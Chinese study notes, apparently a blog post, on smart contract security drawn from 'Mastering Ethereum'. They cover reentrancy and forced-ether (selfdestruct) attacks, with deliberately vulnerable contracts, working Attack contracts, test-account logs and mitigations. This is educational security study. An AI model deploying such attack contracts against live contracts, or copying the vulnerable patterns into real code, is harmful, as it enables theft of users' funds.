学区块链做的笔记Day8,大部分内容来自《精通以太坊》。

智能合约安全

重入攻击

这里这个重入攻击先是,在网上看了很久,根本没看懂,后面才看的书,发现书里其实写的很明白。

这里我把书上的代码简化了一下(毕竟只是做演示)。

合约代码

编译器版本0.4.22

钱包.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract EtherStore {
// 创建{账户: 余额}表
mapping (address => uint256) public balances;
// 用于接收传入的ETH,然后更新余额
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
// 验证并转出余额,然后更新余额
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
}
}

攻击利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import <这里替换为引用的地址,在remix的话可以直接右键复制路径>;

contract Attack {
// 创建钱包类的对象
EtherStore public etherStore;
// 构造函数,传入我们需要攻击的钱包的地址
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// 开始攻击
function attackEtherStore() public payable {
require(msg.value >= 1 ether);
// 往钱包转入 1 eth
etherStore.depositFunds.value(1 ether)();
// 从钱包提出 1 eth
etherStore.withdrawFunds(1 ether);
}
// 用于提款,就验证攻击的话这个函数是不重要的
function collectEther() public {
msg.sender.transfer(this.balance);
}
// 用于重放攻击
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}

也不需要标注版本啥的,会报黄但是不用管。

部署合约

先用测试账户1部署钱包合约,然后往里面转5 eth

image-20240310041952739

复制这个钱包的地址,然后再用另一个测试账户2部署攻击合约。

image-20240310042157160

向攻击合约转1 eth来调用attackEtherStore函数。

可以看到攻击合约内的余额变成了5 eth但是钱包里的余额变成了1 eth

image-20240310042413450

重入攻击结束。

原理解释

造成这个漏洞的关键就在于,钱包合约在不清楚外部合约的风险的情况下调用了这些合约。

那钱包是在什么时候调用了这些外部合约呢?答案是下面这句。

1
require(msg.sender.call.value(_weiToWithdraw)());

这句往发起者的地址(攻击合约)提交了一笔转账,当攻击合约接收到这笔转账时,因为下面这段代码的存在。

1
2
3
4
5
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}

合约会自动执行这段代码(fallback函数),当执行这段代码的时候,原来的钱包合约中的代码是停止运行的(不是异步的!!!)。只有当这里执行完才会接着执行钱包合约中下面的代码。

但是这时候我们又对钱包合约发送了提款请求。

1
2
3
4
5
6
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
// 钱包余额的更新在发送的下面(没有更新),所以上面的验证金额就能一直通过。
balances[msg.sender] -= _weiToWithdraw;
}

然后就会陷入一个循环,此时大家应该有注意到,下面这句

1
balances[msg.sender] -= _weiToWithdraw;

并不是没有被执行到,只是放在了所有请求结束后才被执行。就像下面这种结构一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (){
evalcode
if(){
evalcode
if(){
evalcode
...
}
code
}
code
}
code

所以我们可以做一个简单的验证。

漏洞验证(非必要)

首先我们可以导入一个包(只是为了方便)

Console.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.21;

//通过log函数重载,对不同类型的变量trigger不同的event,实现solidity打印效果,使用方法为:log(string name, var value)

contract Console {
event LogUint(string, uint);
function log(string s , uint x) internal {
emit LogUint(s, x);
}

event LogInt(string, int);
function log(string s , int x) internal {
emit LogInt(s, x);
}

event LogBytes(string, bytes);
function log(string s , bytes x) internal {
emit LogBytes(s, x);
}

event LogBytes32(string, bytes32);
function log(string s , bytes32 x) internal {
emit LogBytes32(s, x);
}

event LogAddress(string, address);
function log(string s , address x) internal {
emit LogAddress(s, x);
}

event LogBool(string, bool);
function log(string s , bool x) internal {
emit LogBool(s, x);
}
}

更新钱包.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import "Console.sol";

contract EtherStore is Console{
mapping (address => uint256) public balances;

function depositFunds() public payable {
balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
log("余额为:", balances[msg.sender]);
balances[msg.sender] -= _weiToWithdraw;
}
}

代码来自:Solidity调试 - 实现变量打印 - huahuayu - 博客园 (cnblogs.com)

我们就可以看到下面的语句被运行了几次,以及攻击地址的账户余额。

重复攻击的步骤,查看日志。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[
{
"from": "0xb692edc9d2b7581992cab16905322e43849fae26",
"topic": "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7",
"event": "LogUint",
"args": {
"0": "余额为:",
"1": "1000000000000000000"
}
},
{
"from": "0xb692edc9d2b7581992cab16905322e43849fae26",
"topic": "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7",
"event": "LogUint",
"args": {
"0": "余额为:",
"1": "0"
}
},
{
"from": "0xb692edc9d2b7581992cab16905322e43849fae26",
"topic": "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7",
"event": "LogUint",
"args": {
"0": "余额为:",
"1": "115792089237316195423570985008687907853269984665640564039456584007913129639936"
}
},
{
"from": "0xb692edc9d2b7581992cab16905322e43849fae26",
"topic": "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7",
"event": "LogUint",
"args": {
"0": "余额为:",
"1": "115792089237316195423570985008687907853269984665640564039455584007913129639936"
}
},
{
"from": "0xb692edc9d2b7581992cab16905322e43849fae26",
"topic": "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7",
"event": "LogUint",
"args": {
"0": "余额为:",
"1": "115792089237316195423570985008687907853269984665640564039454584007913129639936"
}
}
]

可以看到一共被执行了5次,并且余额向下溢出了。(说不定还能用这个溢出干点什么🤔)

防范技术

  1. 使用内置的transfer,这个会限制外部调用的gas(2300 gas),不足以支持重入。
  2. 把修改状态的语句放到转账的前面,“检查 - 生效 - 交互” 模式。
  3. 引入互斥锁,增加一个状态变量来锁定合约。

真实案例

以太坊分叉的缘由:著名的The DAO事件 - 知乎 (zhihu.com)(这件事好像还挺重要的,导致了以太坊的分叉)

算术溢出

这个算是非常常见的漏洞了,在这就不过多介绍了。(如果有空余时间再来补吧)

意外的以太币

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
contract EtherGame {

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// Users pay 0.5 ether. At specific milestones, credit their accounts.
function play() external payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game has finished
require(currentBalance <= finalMileStone);
// if at a milestone, credit the player's account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}

function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}

这个合约是一个简单的游戏,玩家可以每次向合约发送0.5 ether,分别在合约余额达到3,5,10的时候发放奖励。

但是我们却可以通过selfdestruct(target)函数向合约里发送0.1 ether来使合约瘫痪。

攻击合约

1
2
3
4
5
contract Attack {
function attack(address target) payable {
selfdestruct(target);
}
}

原理解释

selfdestruct(target)在被执行的时候会销毁当前合约,并将合约里所有的以太币强制发送到target的地址。

防范技术

不使用this.balance做合约余额的判断。可以自定义一个变量来记录合约余额。

真实案例

uscc/submissions-2017 at master · Arachnid/uscc (github.com) 里有几个案例。

DELEGATECALL

好难先跳过。

更新中。。。。

这章的东西实在太多了,我打算自己先过一遍,后续再整理笔记。